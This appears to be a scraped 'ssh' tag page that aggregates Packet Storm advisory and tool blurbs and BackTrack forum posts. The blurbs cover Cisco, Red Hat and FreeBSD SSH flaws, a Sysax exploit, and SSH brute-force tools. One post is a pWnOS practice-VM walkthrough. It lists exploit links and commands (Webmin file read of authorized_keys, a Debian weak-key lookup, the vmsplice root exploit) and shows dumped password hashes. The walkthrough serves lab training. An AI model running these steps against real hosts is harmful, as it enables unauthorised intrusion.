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66 items tagged "ssh"
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18:37
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Packet Storm Security Recent Files
libssh2 is a library implementing the SSH2 protocol as defined by Internet Drafts: SECSH-TRANS, SECSH-USERAUTH, SECSH-CONNECTION, SECSH-ARCH, SECSH-FILEXFER, SECSH-DHGEX, SECSH-NUMBERS, and SECSH-PUBLICKEY.
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18:37
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Packet Storm Security Misc. Files
libssh2 is a library implementing the SSH2 protocol as defined by Internet Drafts: SECSH-TRANS, SECSH-USERAUTH, SECSH-CONNECTION, SECSH-ARCH, SECSH-FILEXFER, SECSH-DHGEX, SECSH-NUMBERS, and SECSH-PUBLICKEY.
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22:01
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Packet Storm Security Advisories
Cisco Security Advisory - The Secure Shell (SSH) server implementation in Cisco IOS Software and Cisco IOS XE Software contains a denial of service (DoS) vulnerability in the SSH version 2 (SSHv2) feature. An unauthenticated, remote attacker could exploit this vulnerability by attempting a reverse SSH login with a crafted username. Successful exploitation of this vulnerability could allow an attacker to create a DoS condition by causing the device to reload. Repeated exploits could create a sustained DoS condition. The SSH server in Cisco IOS Software and Cisco IOS XE Software is an optional service, but its use is highly recommended as a security best practice for the management of Cisco IOS devices. Devices that are not configured to accept SSHv2 connections are not affected by this vulnerability. Cisco has released free software updates that address this vulnerability.
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22:01
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Packet Storm Security Recent Files
Cisco Security Advisory - The Secure Shell (SSH) server implementation in Cisco IOS Software and Cisco IOS XE Software contains a denial of service (DoS) vulnerability in the SSH version 2 (SSHv2) feature. An unauthenticated, remote attacker could exploit this vulnerability by attempting a reverse SSH login with a crafted username. Successful exploitation of this vulnerability could allow an attacker to create a DoS condition by causing the device to reload. Repeated exploits could create a sustained DoS condition. The SSH server in Cisco IOS Software and Cisco IOS XE Software is an optional service, but its use is highly recommended as a security best practice for the management of Cisco IOS devices. Devices that are not configured to accept SSHv2 connections are not affected by this vulnerability. Cisco has released free software updates that address this vulnerability.
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22:01
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Packet Storm Security Misc. Files
Cisco Security Advisory - The Secure Shell (SSH) server implementation in Cisco IOS Software and Cisco IOS XE Software contains a denial of service (DoS) vulnerability in the SSH version 2 (SSHv2) feature. An unauthenticated, remote attacker could exploit this vulnerability by attempting a reverse SSH login with a crafted username. Successful exploitation of this vulnerability could allow an attacker to create a DoS condition by causing the device to reload. Repeated exploits could create a sustained DoS condition. The SSH server in Cisco IOS Software and Cisco IOS XE Software is an optional service, but its use is highly recommended as a security best practice for the management of Cisco IOS devices. Devices that are not configured to accept SSHv2 connections are not affected by this vulnerability. Cisco has released free software updates that address this vulnerability.
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7:48
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Packet Storm Security Exploits
This Metasploit module exploits a vulnerability found in Sysax's SSH service. By supplying a long username, the SSH server will copy that data on the stack without any proper bounds checking, therefore allowing remote code execution under the context of the user. Please note that previous versions (before 5.53) are also affected by this bug.
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7:48
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Packet Storm Security Recent Files
This Metasploit module exploits a vulnerability found in Sysax's SSH service. By supplying a long username, the SSH server will copy that data on the stack without any proper bounds checking, therefore allowing remote code execution under the context of the user. Please note that previous versions (before 5.53) are also affected by this bug.
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7:48
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Packet Storm Security Misc. Files
This Metasploit module exploits a vulnerability found in Sysax's SSH service. By supplying a long username, the SSH server will copy that data on the stack without any proper bounds checking, therefore allowing remote code execution under the context of the user. Please note that previous versions (before 5.53) are also affected by this bug.
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13:11
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Packet Storm Security Exploits
Sysax Multi Server versions 5.53 and below SSH username buffer overflow pre-authentication remote code execution exploit with egghunter shellcode that binds a shell to port 4444.
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13:11
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Packet Storm Security Recent Files
Sysax Multi Server versions 5.53 and below SSH username buffer overflow pre-authentication remote code execution exploit with egghunter shellcode that binds a shell to port 4444.
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13:11
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Packet Storm Security Misc. Files
Sysax Multi Server versions 5.53 and below SSH username buffer overflow pre-authentication remote code execution exploit with egghunter shellcode that binds a shell to port 4444.
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7:21
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Packet Storm Security Advisories
Red Hat Security Advisory 2012-0152-03 - The kexec-tools package contains the /sbin/kexec binary and utilities that together form the user-space component of the kernel's kexec feature. The /sbin/kexec binary facilitates a new kernel to boot using the kernel's kexec feature either on a normal or a panic reboot. The kexec fastboot mechanism allows booting a Linux kernel from the context of an already running kernel. Kdump used the SSH "StrictHostKeyChecking=no" option when dumping to SSH targets, causing the target kdump server's SSH host key not to be checked. This could make it easier for a man-in-the-middle attacker on the local network to impersonate the kdump SSH target server and possibly gain access to sensitive information in the vmcore dumps.
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7:21
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Packet Storm Security Recent Files
Red Hat Security Advisory 2012-0152-03 - The kexec-tools package contains the /sbin/kexec binary and utilities that together form the user-space component of the kernel's kexec feature. The /sbin/kexec binary facilitates a new kernel to boot using the kernel's kexec feature either on a normal or a panic reboot. The kexec fastboot mechanism allows booting a Linux kernel from the context of an already running kernel. Kdump used the SSH "StrictHostKeyChecking=no" option when dumping to SSH targets, causing the target kdump server's SSH host key not to be checked. This could make it easier for a man-in-the-middle attacker on the local network to impersonate the kdump SSH target server and possibly gain access to sensitive information in the vmcore dumps.
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7:21
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Packet Storm Security Misc. Files
Red Hat Security Advisory 2012-0152-03 - The kexec-tools package contains the /sbin/kexec binary and utilities that together form the user-space component of the kernel's kexec feature. The /sbin/kexec binary facilitates a new kernel to boot using the kernel's kexec feature either on a normal or a panic reboot. The kexec fastboot mechanism allows booting a Linux kernel from the context of an already running kernel. Kdump used the SSH "StrictHostKeyChecking=no" option when dumping to SSH targets, causing the target kdump server's SSH host key not to be checked. This could make it easier for a man-in-the-middle attacker on the local network to impersonate the kdump SSH target server and possibly gain access to sensitive information in the vmcore dumps.
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15:22
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Packet Storm Security Tools
fwknop implements an authorization scheme that requires only a single encrypted packet to communicate various pieces of information, including desired access through a Netfilter policy and/or specific commands to execute on the target system. The main application of this program is to protect services such as SSH with an additional layer of security in order to make the exploitation of vulnerabilities much more difficult. The authorization server works by passively monitoring authorization packets via libpcap.
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9:31
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Packet Storm Security Advisories
FreeBSD Security Advisory - The OpenSSL library call used to decrypt private keys ignores the passphrase argument if the key is not encrypted. Because the pam_ssh module only checks whether the passphrase provided by the user is null, users with unencrypted SSH private keys may successfully authenticate themselves by providing a dummy passphrase. If the pam_ssh module is enabled, attackers may be able to gain access to user accounts which have unencrypted SSH private keys.
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9:31
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Packet Storm Security Recent Files
FreeBSD Security Advisory - The OpenSSL library call used to decrypt private keys ignores the passphrase argument if the key is not encrypted. Because the pam_ssh module only checks whether the passphrase provided by the user is null, users with unencrypted SSH private keys may successfully authenticate themselves by providing a dummy passphrase. If the pam_ssh module is enabled, attackers may be able to gain access to user accounts which have unencrypted SSH private keys.
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9:31
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Packet Storm Security Misc. Files
FreeBSD Security Advisory - The OpenSSL library call used to decrypt private keys ignores the passphrase argument if the key is not encrypted. Because the pam_ssh module only checks whether the passphrase provided by the user is null, users with unencrypted SSH private keys may successfully authenticate themselves by providing a dummy passphrase. If the pam_ssh module is enabled, attackers may be able to gain access to user accounts which have unencrypted SSH private keys.
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18:24
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Packet Storm Security Recent Files
fwknop implements an authorization scheme that requires only a single encrypted packet to communicate various pieces of information, including desired access through a Netfilter policy and/or specific commands to execute on the target system. The main application of this program is to protect services such as SSH with an additional layer of security in order to make the exploitation of vulnerabilities much more difficult. The authorization server works by passively monitoring authorization packets via libpcap.
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18:24
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Packet Storm Security Tools
fwknop implements an authorization scheme that requires only a single encrypted packet to communicate various pieces of information, including desired access through a Netfilter policy and/or specific commands to execute on the target system. The main application of this program is to protect services such as SSH with an additional layer of security in order to make the exploitation of vulnerabilities much more difficult. The authorization server works by passively monitoring authorization packets via libpcap.
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18:24
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Packet Storm Security Misc. Files
fwknop implements an authorization scheme that requires only a single encrypted packet to communicate various pieces of information, including desired access through a Netfilter policy and/or specific commands to execute on the target system. The main application of this program is to protect services such as SSH with an additional layer of security in order to make the exploitation of vulnerabilities much more difficult. The authorization server works by passively monitoring authorization packets via libpcap.
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15:53
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Packet Storm Security Advisories
Red Hat Security Advisory 2011-1532-03 - Kexec allows for booting a Linux kernel from the context of an already running kernel. Kdump used the SSH "StrictHostKeyChecking=no" option when dumping to SSH targets, causing the target kdump server's SSH host key not to be checked. This could make it easier for a man-in-the-middle attacker on the local network to impersonate the kdump SSH target server and possibly gain access to sensitive information in the vmcore dumps. mkdumprd created initrd files with world-readable permissions. A local user could possibly use this flaw to gain access to sensitive information, such as the private SSH key used to authenticate to a remote server when kdump was configured to dump to an SSH target.
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15:53
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Packet Storm Security Recent Files
Red Hat Security Advisory 2011-1532-03 - Kexec allows for booting a Linux kernel from the context of an already running kernel. Kdump used the SSH "StrictHostKeyChecking=no" option when dumping to SSH targets, causing the target kdump server's SSH host key not to be checked. This could make it easier for a man-in-the-middle attacker on the local network to impersonate the kdump SSH target server and possibly gain access to sensitive information in the vmcore dumps. mkdumprd created initrd files with world-readable permissions. A local user could possibly use this flaw to gain access to sensitive information, such as the private SSH key used to authenticate to a remote server when kdump was configured to dump to an SSH target.
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15:53
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Packet Storm Security Misc. Files
Red Hat Security Advisory 2011-1532-03 - Kexec allows for booting a Linux kernel from the context of an already running kernel. Kdump used the SSH "StrictHostKeyChecking=no" option when dumping to SSH targets, causing the target kdump server's SSH host key not to be checked. This could make it easier for a man-in-the-middle attacker on the local network to impersonate the kdump SSH target server and possibly gain access to sensitive information in the vmcore dumps. mkdumprd created initrd files with world-readable permissions. A local user could possibly use this flaw to gain access to sensitive information, such as the private SSH key used to authenticate to a remote server when kdump was configured to dump to an SSH target.
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17:56
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Packet Storm Security Recent Files
sshtrix is a very fast multithreaded SSH login cracker. It supports SSHv1 and SSHv2. sshtrix was designed to automate rapid bruteforce attacks against SSH authentification screens. Unlike other public tools, the aim is to keep it simple, stable, fast and modular. With its clean code design, it is easy to extend the code to a framework or to fork it against protocols of your choice.
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17:56
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Packet Storm Security Misc. Files
sshtrix is a very fast multithreaded SSH login cracker. It supports SSHv1 and SSHv2. sshtrix was designed to automate rapid bruteforce attacks against SSH authentification screens. Unlike other public tools, the aim is to keep it simple, stable, fast and modular. With its clean code design, it is easy to extend the code to a framework or to fork it against protocols of your choice.
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17:43
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Packet Storm Security Recent Files
sshtrix is a very fast multithreaded SSH login cracker. It supports SSHv1 and SSHv2. sshtrix was designed to automate rapid bruteforce attacks against SSH authentification screens. Unlike other public tools, the aim is to keep it simple, stable, fast and modular. With its clean code design, it is easy to extend the code to a framework or to fork it against protocols of your choice.
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17:43
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Packet Storm Security Misc. Files
sshtrix is a very fast multithreaded SSH login cracker. It supports SSHv1 and SSHv2. sshtrix was designed to automate rapid bruteforce attacks against SSH authentification screens. Unlike other public tools, the aim is to keep it simple, stable, fast and modular. With its clean code design, it is easy to extend the code to a framework or to fork it against protocols of your choice.
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14:07
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Packet Storm Security Recent Files
Slowbrute is a slow SSH brute-forcing utility written in Python. Paramiko must be installed and if Tor is being leveraged in order to anonymize the scan, run it at 127.0.0.1:9050.
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14:07
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Packet Storm Security Misc. Files
Slowbrute is a slow SSH brute-forcing utility written in Python. Paramiko must be installed and if Tor is being leveraged in order to anonymize the scan, run it at 127.0.0.1:9050.
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7:18
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Packet Storm Security Headlines
Maybe it's just too early in the morning, but this article confuses me. Sophos is telling people to tunnel a proxy over SSH in order to mitigate the chances of getting nabbed by Firesheep. This is all well and good but why go through all that extra trouble?
If you have the ability to SSH into a host that you trust, just use it with -D port_number and use that as your SOCKS proxy in your Firefox configuration. For all the people out there that are actually shaken by Firesheep, it's probably worth noting that this plug-in does not demonstrate any new vulnerability.
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6:31
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remote-exploit & backtrack
Helle there,
my question is quite short (hopefully the answer is longer^^).
Does anybody know a application to recover a "ssh-private-key-passphrase", to know how strong it is?
greets,
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16:00
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Packet Storm Security Advisories
Virtual Security Research, LLC. Security Advisory - On December 2nd, VSR identified a SSH service authentication weakness vulnerability in the TANDBERG's Video Communication Server. This issue would allow an attacker with privileged network access to conduct server impersonation and man-in-the-middle attacks on administrator SSH sessions. Successful attacks could yield shell access to vulnerable appliances.
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14:25
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remote-exploit & backtrack
Hey guys, I'm trying to figure out how to ssh into a Metasploit reverse tcp handler running on my home machine. I case that's a little confusing, I have a machine on my home network with a Metasploit handler running. I can ssh into the box, but I'd like to be able to control that specific console. I don't know if this is possible or not and lots of searching hasn't gotten me anywhere, so here I am... Any help would be appreciated :)
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3:01
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remote-exploit & backtrack
Links
Watch on-line: http://g0tmi1k.blip.tv/file/3388825
Download: http://www.mediafire.com/?5gggmmmycjm
Commands:
http://pastebin.com/2Eq1zG88
What is this?
This is my walk though of how I broke into pWnOS v1.
pWnOS is on a "VM Image", that creates a target on which to practice penetration testing; with the "end goal" is to get root. It was designed to practice using exploits, with multiple entry points
Scenario
A company dedicated to serving Webhosting hires you to perform a penetration test on one of its servers dedicated to the administration of their systems.
It's a linux virtual machine intentionally configured with exploitable services to provide you with a path to r00t. :)
What do I need?
> BackTrack 4 (Final)
> pWnOS.vmdk
> exploit-db.com or milw0rm.
Software
Name: pWnOS
Version: 1
Home Page:
http://0dayclub.com/files/pWnOS%20v1.0.zip
Download Link:
Forum/Support:
http://forums.heorot.net/viewforum.php?f=21
Commands:
Code:
nmap 192.168.3.1-255
nmap -sV -sS -O 192.168.3.100
firefox http://192.168.3.100
firefox http://192.168.3.100:10000
firefox -> milw0rm/explo.it -> search "Webmin" -> save. Filename: webmin.pl/php
*Webmin <> save. Filename: shadow
firefox -> milw0rm/explo.it -> search "Debian OpenSSL" -> save. Filename: ssh.py/rb
*Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit*
http://milw0rm.com/exploits/5622 (perl)
http://milw0rm.com/exploits/5720 (python)
http://milw0rm.com/exploits/5632 (ruby)
http://www.exploit-db.com/exploits/5622 (perl)
http://www.exploit-db.com/exploits/5720 (python)
http://www.exploit-db.com/exploits/5632 (ruby)
wget http://milw0rm.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
perl webmin.pl 192.168.3.100 10000 /home/vmware/.ssh/authorized_keys
perl webmin.pl 192.168.3.100 10000 /home/obama/.ssh/authorized_keys
perl webmin.pl 192.168.3.100 10000 /home/osama/.ssh/authorized_keys
perl webmin.pl 192.168.3.100 10000 /home/yomama/.ssh/authorized_keys
tar jxvf debian_ssh_rsa_2048_x86.tar.bz
cd rsa/2048
grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOo9FNkoilHAgvQuiE5Wy9DwYVfLrkkcDB2uubtMzGw9hl3smD/OwUyXc/lNED7MNLS8JvehZbMJv1GkkMHvv1Vfcs6FVnBIfPBz0OqFrEGf+a4JEc/eF2R6nIJDIgnjBVeNcQaIM3NOr1rYPzgDwAH/yWoKfzNv5zeMUkMZ7OVC54AovoSujQC/VRdKzGRhhLQmyFVMH9v19UrLgJB6otLcr3d8/uAB2ypTw+LmuIPe9zqrMwxskdfY4Sth2rl6D3bq6Fwca+pYh++phOyKeDPYkBi3hx6R3b3ETZlNCLJjG7+t7kwFdF02Iuw rsa/2048/*.pub
grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0ptx2wrcAw09HayPxMnKv+BFiGA/I1yXn5EqUfuLSDcTwiIeVSvqJl3NNI5HQUUc6KGlwrhCW464ksARX2ZAp9+6Yu7DphKZmtF5QsWaiJc7oV5il89zltwBDqR362AH49m8/3OcZp4XJqEAOlVWeT5/jikmke834CyTMlIcyPL85LpFw2aXQCJQIzvkCHJAfwTpwJTugGMB5Ng73omS82Q3ErbOhTSa5iBuE86SEkyyotEBUObgWU3QW6ZMWM0Rd9ErIgvps1r/qpteMMrgieSUKlF/LaeMezSXXkZrn0x+A2bKsw9GwMetQ rsa/2048/*.pub
*scans for the public key...*
ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@192.168.3.100
exit
ssh -i d8629ce6dc8f2492e1454c13f46adb26-4566 vmware@192.168.3.100
hostname
uname -a
firefox -> milw0rm/explo.it -> search "Linux Kernel 2.6" -> save. Filename: vmsplice.c
*Linux Kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit*
http://milw0rm.com/exploits/5092 (c)
http://www.exploit-db.com/exploits/5092 (c)
nano vmsplice.c
gcc vmsplice.c -o vmsplice
./vmsplice
whoami
----------------------------------------------------------------------------------------------------
Users
root: root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
vmware: vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama: obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama: osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama: yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::
----------------------------------------------------------------------------------------------------
Notes:
I had problems with the Debian OpenSSH/OpenSSL exploit, some times it would work, else it would be really slow or just cant find the correct exploit file. The method which I use, turns it into a offline attack, which makes it more stealthy as it will not log failed logins (e.g. /var/auth/auth.log. See
here for reading it). It relies on the default path tho!
This is one method of getting in, the author did say that there is multiple ways in!
It took me a bit of work to also to get it to work with virtual box & static IP addresses.
Read my post
here (short answer - need configure another interface via another OS)
Song: Deadmau5 - Faxing Berlin
Video length: 07:37
Capture length: 14:55
Blog Post:
http://g0tmi1k.blogspot.com/2010/04/video-pwnos.html
Forum Post:
http://forums.heorot.net/viewtopic.php?f=21&t=391&p=1956#p1956 or
http://www.backtrack-linux.org/forums/backtrack-videos/2748-%5Bvideo%5D-attacking-pwnos.html#post9217
~g0tmi1k
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11:29
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remote-exploit & backtrack
Buenas soy nuevo en el area de linux y por motivo de pasantias e tomado la iniciativa de usar esta distribución de linux como lo es backtrack ya que mis pasantias esta basada en test de penetración quisiera saber como configurar ssh y si es necesario configurarlo para poder hacer los test de penetracion! a parte quisiera saber que otros servicios debo instalar para poder usar las herramientas gracias y espero su gran ayuda !
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15:21
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remote-exploit & backtrack
How can I enable telnet login on Backtrack 3? (I can't get ssh login working through a reverse ssh tunnel)
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16:00
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Packet Storm Security Recent Files
Cisco Security Advisory - The SSH server implementation in Cisco IOS XR Software contains a vulnerability that an unauthenticated, remote user could exploit to cause a denial of service condition. An attacker could trigger this vulnerability by sending a crafted SSH version 2 packet that may cause a new SSH connection handler process to crash. Repeated exploitation may cause each new SSH connection handler process to crash and lead to a significant amount of memory being consumed, which could introduce instability that may adversely impact other system functionality. During this event, the parent SSH daemon process will continue to function normally.
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16:00
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Packet Storm Security Advisories
Cisco Security Advisory - The SSH server implementation in Cisco IOS XR Software contains a vulnerability that an unauthenticated, remote user could exploit to cause a denial of service condition. An attacker could trigger this vulnerability by sending a crafted SSH version 2 packet that may cause a new SSH connection handler process to crash. Repeated exploitation may cause each new SSH connection handler process to crash and lead to a significant amount of memory being consumed, which could introduce instability that may adversely impact other system functionality. During this event, the parent SSH daemon process will continue to function normally.
1337day (was: Inj3ct0r, 1337db)
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